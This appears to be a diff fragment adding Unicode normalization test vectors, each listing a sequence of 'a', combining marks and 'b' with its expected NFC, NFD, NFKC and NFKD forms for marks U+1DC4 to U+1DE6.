+{ source: [0x0061, 0x1DC4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DCA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DCA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DCA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DCA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DCA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DCA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DCA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DCA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DCA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DCB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DCB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DCB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DCB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DCB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DCB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DCB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DCC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DCC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DCC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DCC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DCC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DCC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DCC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x1DCD, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x1DCD, 0x0345, 0x0062] },
+{ source: [0x0061, 0x1DCD, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x1DCD, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x031B, 0x1DCE, 0x0321, 0x1DCE, 0x0062], NFC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x031B, 0x1DCE, 0x0321, 0x0062], NFC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKC: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062], NFKD: [0x0061, 0x0321, 0x1DCE, 0x1DCE, 0x031B, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DCF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DCF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DCF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DCF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DCF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DCF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DCF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DCF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DCF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x1DD0, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x1DD0, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x1DD0, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x1DD0, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DD9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DD9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DD9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DD9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DD9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DD9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DD9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDD, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DDF, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DDF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DDF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DDF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DDF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DDF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DDF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DE6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DE6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DE6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DE6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DE6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DE6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DE6, 0x0300, 0x0315, 0x0062] },
